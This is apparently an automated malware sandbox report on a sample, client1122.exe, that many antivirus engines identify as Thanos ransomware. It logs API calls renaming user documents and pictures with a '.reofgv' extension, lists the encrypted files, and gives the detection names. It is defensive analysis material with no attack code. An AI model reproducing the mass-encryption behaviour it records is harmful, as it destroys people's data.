MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\fTiSpCrSio.doc.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\fTiSpCrSio.doc newfilepath: C:\Users\test22\Documents\fTiSpCrSio.doc.reofgv oldfilepath: C:\Users\test22\Documents\fTiSpCrSio.doc	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\gRTPjfsvFz.doc.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\gRTPjfsvFz.doc newfilepath: C:\Users\test22\Documents\gRTPjfsvFz.doc.reofgv oldfilepath: C:\Users\test22\Documents\gRTPjfsvFz.doc	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\gxeffFGQwhrjD.rtf.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\gxeffFGQwhrjD.rtf newfilepath: C:\Users\test22\Documents\gxeffFGQwhrjD.rtf.reofgv oldfilepath: C:\Users\test22\Documents\gxeffFGQwhrjD.rtf	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\ifsjIZDoQsdGp.docx.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\ifsjIZDoQsdGp.docx newfilepath: C:\Users\test22\Documents\ifsjIZDoQsdGp.docx.reofgv oldfilepath: C:\Users\test22\Documents\ifsjIZDoQsdGp.docx	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\JDHeJjBWHuxqp.doc.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\JDHeJjBWHuxqp.doc newfilepath: C:\Users\test22\Documents\JDHeJjBWHuxqp.doc.reofgv oldfilepath: C:\Users\test22\Documents\JDHeJjBWHuxqp.doc	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\JeEyGbNjUWjVuZ.docx.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\JeEyGbNjUWjVuZ.docx newfilepath: C:\Users\test22\Documents\JeEyGbNjUWjVuZ.docx.reofgv oldfilepath: C:\Users\test22\Documents\JeEyGbNjUWjVuZ.docx	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\jsGIrPlHsPM.txt.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\jsGIrPlHsPM.txt newfilepath: C:\Users\test22\Documents\jsGIrPlHsPM.txt.reofgv oldfilepath: C:\Users\test22\Documents\jsGIrPlHsPM.txt	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\NyWPrKiMApAFxUeZ.doc.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\NyWPrKiMApAFxUeZ.doc newfilepath: C:\Users\test22\Documents\NyWPrKiMApAFxUeZ.doc.reofgv oldfilepath: C:\Users\test22\Documents\NyWPrKiMApAFxUeZ.doc	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\ONyeiyAHXnG.docx.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\ONyeiyAHXnG.docx newfilepath: C:\Users\test22\Documents\ONyeiyAHXnG.docx.reofgv oldfilepath: C:\Users\test22\Documents\ONyeiyAHXnG.docx	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\QAXyTXeWuxZprZY.rtf.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\QAXyTXeWuxZprZY.rtf newfilepath: C:\Users\test22\Documents\QAXyTXeWuxZprZY.rtf.reofgv oldfilepath: C:\Users\test22\Documents\QAXyTXeWuxZprZY.rtf	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\QcXmfONaPB.docm.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\QcXmfONaPB.docm newfilepath: C:\Users\test22\Documents\QcXmfONaPB.docm.reofgv oldfilepath: C:\Users\test22\Documents\QcXmfONaPB.docm	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\readme.cpp.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\readme.cpp newfilepath: C:\Users\test22\Documents\readme.cpp.reofgv oldfilepath: C:\Users\test22\Documents\readme.cpp	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\readme.doc.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\readme.doc newfilepath: C:\Users\test22\Documents\readme.doc.reofgv oldfilepath: C:\Users\test22\Documents\readme.doc	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\readme.hwp.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\readme.hwp newfilepath: C:\Users\test22\Documents\readme.hwp.reofgv oldfilepath: C:\Users\test22\Documents\readme.hwp	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\readme.txt.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\readme.txt newfilepath: C:\Users\test22\Documents\readme.txt.reofgv oldfilepath: C:\Users\test22\Documents\readme.txt	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\readme.xls.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\readme.xls newfilepath: C:\Users\test22\Documents\readme.xls.reofgv oldfilepath: C:\Users\test22\Documents\readme.xls	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\sByekmDWYN.docm.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\sByekmDWYN.docm newfilepath: C:\Users\test22\Documents\sByekmDWYN.docm.reofgv oldfilepath: C:\Users\test22\Documents\sByekmDWYN.docm	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\tbGINJnrMNdr.docx.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\tbGINJnrMNdr.docx newfilepath: C:\Users\test22\Documents\tbGINJnrMNdr.docx.reofgv oldfilepath: C:\Users\test22\Documents\tbGINJnrMNdr.docx	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\WmXfDlmbAt.doc.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\WmXfDlmbAt.doc newfilepath: C:\Users\test22\Documents\WmXfDlmbAt.doc.reofgv oldfilepath: C:\Users\test22\Documents\WmXfDlmbAt.doc	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\xTgoutelmxZUthF.rtf.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\xTgoutelmxZUthF.rtf newfilepath: C:\Users\test22\Documents\xTgoutelmxZUthF.rtf.reofgv oldfilepath: C:\Users\test22\Documents\xTgoutelmxZUthF.rtf	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\ZyMQVIOJRV.rtf.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\ZyMQVIOJRV.rtf newfilepath: C:\Users\test22\Documents\ZyMQVIOJRV.rtf.reofgv oldfilepath: C:\Users\test22\Documents\ZyMQVIOJRV.rtf	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Desktop\readme.txt.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Desktop\readme.txt newfilepath: C:\Users\test22\Desktop\readme.txt.reofgv oldfilepath: C:\Users\test22\Desktop\readme.txt	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg.reofgv flags: 2 oldfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg newfilepath: C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg.reofgv oldfilepath: C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Desert.jpg.reofgv flags: 2 oldfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Desert.jpg newfilepath: C:\Users\Public\Pictures\Sample Pictures\Desert.jpg.reofgv oldfilepath: C:\Users\Public\Pictures\Sample Pictures\Desert.jpg	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg.reofgv flags: 2 oldfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg newfilepath: C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg.reofgv oldfilepath: C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg.reofgv flags: 2 oldfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg newfilepath: C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg.reofgv oldfilepath: C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Koala.jpg.reofgv flags: 2 oldfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Koala.jpg newfilepath: C:\Users\Public\Pictures\Sample Pictures\Koala.jpg.reofgv oldfilepath: C:\Users\Public\Pictures\Sample Pictures\Koala.jpg	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg.reofgv flags: 2 oldfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg newfilepath: C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg.reofgv oldfilepath: C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg.reofgv flags: 2 oldfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg newfilepath: C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg.reofgv oldfilepath: C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg.reofgv flags: 2 oldfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg newfilepath: C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg.reofgv oldfilepath: C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\All Users\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.reofgv flags: 2 oldfilepath_r: C:\Users\All Users\Microsoft\Windows NT\MSScan\WelcomeScan.jpg newfilepath: C:\Users\All Users\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.reofgv oldfilepath: C:\Users\All Users\Microsoft\Windows NT\MSScan\WelcomeScan.jpg		0
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\All Users\Microsoft\Windows\Power Efficiency Diagnostics\energy-report.html.reofgv flags: 2 oldfilepath_r: C:\Users\All Users\Microsoft\Windows\Power Efficiency Diagnostics\energy-report.html newfilepath: C:\Users\All Users\Microsoft\Windows\Power Efficiency Diagnostics\energy-report.html.reofgv oldfilepath: C:\Users\All Users\Microsoft\Windows\Power Efficiency Diagnostics\energy-report.html	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\All Users\Microsoft\Search\Data\Applications\Windows\tmp.edb.reofgv flags: 2 oldfilepath_r: C:\Users\All Users\Microsoft\Search\Data\Applications\Windows\tmp.edb newfilepath: C:\Users\All Users\Microsoft\Search\Data\Applications\Windows\tmp.edb.reofgv oldfilepath: C:\Users\All Users\Microsoft\Search\Data\Applications\Windows\tmp.edb		0
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\All Users\Microsoft\Search\Data\Applications\Windows\Windows.edb.reofgv flags: 2 oldfilepath_r: C:\Users\All Users\Microsoft\Search\Data\Applications\Windows\Windows.edb newfilepath: C:\Users\All Users\Microsoft\Search\Data\Applications\Windows\Windows.edb.reofgv oldfilepath: C:\Users\All Users\Microsoft\Search\Data\Applications\Windows\Windows.edb		0
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\All Users\Microsoft\RAC\StateData\RacMetaData.dat.reofgv flags: 2 oldfilepath_r: C:\Users\All Users\Microsoft\RAC\StateData\RacMetaData.dat newfilepath: C:\Users\All Users\Microsoft\RAC\StateData\RacMetaData.dat.reofgv oldfilepath: C:\Users\All Users\Microsoft\RAC\StateData\RacMetaData.dat		0
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\All Users\Microsoft\OFFICE\DATA\opa12.dat.reofgv flags: 2 oldfilepath_r: C:\Users\All Users\Microsoft\OFFICE\DATA\opa12.dat newfilepath: C:\Users\All Users\Microsoft\OFFICE\DATA\opa12.dat.reofgv oldfilepath: C:\Users\All Users\Microsoft\OFFICE\DATA\opa12.dat	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\All Users\Microsoft\Network\Downloader\qmgr0.dat.reofgv flags: 2 oldfilepath_r: C:\Users\All Users\Microsoft\Network\Downloader\qmgr0.dat newfilepath: C:\Users\All Users\Microsoft\Network\Downloader\qmgr0.dat.reofgv oldfilepath: C:\Users\All Users\Microsoft\Network\Downloader\qmgr0.dat		0

Drops 429 unknown file mime types indicative of ransomware writing encrypted files back to disk (50 out of 429 events)

file	C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg.reofgv
file	C:\Python27\Lib\test\cjkencodings\big5hkscs.txt.reofgv
file	C:\Python27\click\click_image\attach.png.reofgv
file	C:\Python27\tcl\tk8.5\images\logo64.gif.reofgv
file	C:\Python27\tcl\tk8.5\msgs\da.msg.reofgv
file	C:\Python27\Lib\email\test\data\msg_11.txt.reofgv
file	C:\Python27\Lib\test\ssl_key.passwd.pem.reofgv
file	C:\Python27\Lib\site-packages\PyScreeze-0.1.26-py2.7.egg-info\installed-files.txt.reofgv
file	C:\Python27\Lib\site-packages\PyGetWindow-0.0.8-py2.7.egg-info\requires.txt.reofgv
file	C:\Python27\tcl\tix8.4.3\pref\WmDefault.txt.reofgv
file	C:\Python27\Lib\email\test\data\msg_30.txt.reofgv
file	C:\Python27\Lib\test\cjkencodings\shift_jisx0213.txt.reofgv
file	C:\Python27\Lib\email\test\data\msg_29.txt.reofgv
file	C:\Python27\tcl\tcl8.5\msgs\fa.msg.reofgv
file	C:\Python27\tcl\tix8.4.3\pref\SGIGray.cs.reofgv
file	C:\Python27\tcl\tcl8.5\msgs\ga.msg.reofgv
file	C:\Python27\Lib\email\test\data\msg_25.txt.reofgv
file	C:\Python27\tcl\tcl8.5\msgs\nl.msg.reofgv
file	C:\Python27\tcl\tix8.4.3\bitmaps\file.gif.reofgv
file	C:\Python27\tcl\tix8.4.3\bitmaps\no_entry.gif.reofgv
file	C:\Python27\Lib\test\cjkencodings\big5hkscs-utf8.txt.reofgv
file	C:\Python27\tcl\tcl8.5\tzdata\Iceland.reofgv
file	C:\Python27\tcl\tk8.5\images\logoLarge.gif.reofgv
file	C:\Users\test22\Documents\gxeffFGQwhrjD.rtf.reofgv
file	C:\Python27\Tools\pynche\webcolors.txt.reofgv
file	C:\Python27\tcl\tk8.5\images\pwrdLogo200.gif.reofgv
file	C:\Python27\Lib\idlelib\NEWS.txt.reofgv
file	C:\Python27\tcl\tcl8.5\msgs\de_be.msg.reofgv
file	C:\Python27\Lib\site-packages\README.txt.reofgv
file	C:\Python27\Lib\email\test\data\msg_28.txt.reofgv
file	C:\Python27\Lib\test\audiodata\pluck-pcm32.wav.reofgv
file	C:\Python27\Lib\test\cjkencodings\big5.txt.reofgv
file	C:\Python27\Lib\test\nullbytecert.pem.reofgv
file	C:\Users\test22\Documents\sByekmDWYN.docm.reofgv
file	C:\Python27\tcl\tcl8.5\msgs\zh_cn.msg.reofgv
file	C:\Python27\tcl\tcl8.5\msgs\es_sv.msg.reofgv
file	C:\Python27\Lib\test\floating_points.txt.reofgv
file	C:\Python27\Lib\test\test_doctest4.txt.reofgv
file	C:\Python27\tcl\tcl8.5\msgs\ga_ie.msg.reofgv
file	C:\Python27\Lib\test\audiodata\pluck-pcm16.wav.reofgv
file	C:\Python27\tcl\tcl8.5\tzdata\Canada\Newfoundland.reofgv
file	C:\Python27\tcl\tcl8.5\msgs\hi_in.msg.reofgv
file	C:\Python27\Lib\email\test\data\msg_18.txt.reofgv
file	C:\util\TCPView\Eula.txt.reofgv
file	C:\Python27\Lib\test\cjkencodings\euc_jp-utf8.txt.reofgv
file	C:\Python27\click\click\click_image\exec1.png.reofgv
file	C:\Python27\Lib\email\test\data\msg_12a.txt.reofgv
file	C:\Python27\Lib\test\ffdh3072.pem.reofgv
file	C:\Python27\tcl\tcl8.5\msgs\es.msg.reofgv
file	C:\Python27\tcl\tcl8.5\msgs\nb.msg.reofgv

File has been identified by 51 AntiVirus engines on VirusTotal as malicious (50 out of 51 events)

Elastic	malicious (high confidence)
MicroWorld-eScan	Gen:Heur.MSIL.Bladabindi.1
FireEye	Generic.mg.7bf8da9ae283c60e
ALYac	Trojan.Ransom.Thanos
Cylance	Unsafe
Zillya	Trojan.Filecoder.Win32.18350
Sangfor	Trojan.Win32.Save.a
K7AntiVirus	Trojan ( 005689411 )
Alibaba	Ransom:MSIL/Cryptolocker.7be74f43
K7GW	Trojan ( 005689411 )
CrowdStrike	win/malicious_confidence_100% (W)
Arcabit	Trojan.MSIL.Bladabindi.1
BitDefenderTheta	Gen:NN.ZemsilF.34688.fm0@am7DGxg
Cyren	W32/A-770b6427!Eldorado
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of MSIL/Filecoder.Thanos.A
TrendMicro-HouseCall	Ransom.MSIL.THANOS.SM
Avast	Win32:RansomX-gen [Ransom]
Kaspersky	HEUR:Trojan-Ransom.MSIL.Crypren.gen
BitDefender	Gen:Heur.MSIL.Bladabindi.1
Paloalto	generic.ml
AegisLab	Trojan.MSIL.Crypren.j!c
APEX	Malicious
Rising	Ransom.Crypren!8.1D6C (CLOUD)
Ad-Aware	Gen:Heur.MSIL.Bladabindi.1
Sophos	Mal/Generic-R + Mal/Hakbit-A
F-Secure	Heuristic.HEUR/AGEN.1141108
DrWeb	Trojan.EncoderNET.31368
VIPRE	Trojan.Win32.Generic!BT
TrendMicro	Ransom.MSIL.THANOS.SM
McAfee-GW-Edition	BehavesLike.Win32.Generic.nh
Emsisoft	Gen:Heur.MSIL.Bladabindi.1 (B)
Ikarus	Trojan-Ransom.Thanos
Webroot	W32.Trojan.Gen
Avira	HEUR/AGEN.1142063
Gridinsoft	Ransom.Win32.AI.sa
Microsoft	Ransom:MSIL/Cryptolocker.PDN!MTB
ZoneAlarm	HEUR:Trojan-Ransom.MSIL.Crypren.gen
GData	Gen:Heur.MSIL.Bladabindi.1
Cynet	Malicious (score: 100)
AhnLab-V3	Malware/Win32.RL_Generic.C4219461
McAfee	Ransom-Thanos!7BF8DA9AE283
MAX	malware (ai score=100)
VBA32	TScope.Trojan.MSIL
Malwarebytes	Malware.AI.2022078683
Tencent	Msil.Trojan.Crypren.Ammq
SentinelOne	Static AI - Malicious PE
Fortinet	MSIL/Thanos.A!tr.ransom
AVG	Win32:RansomX-gen [Ransom]
Cybereason	malicious.ae283c

client1122.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All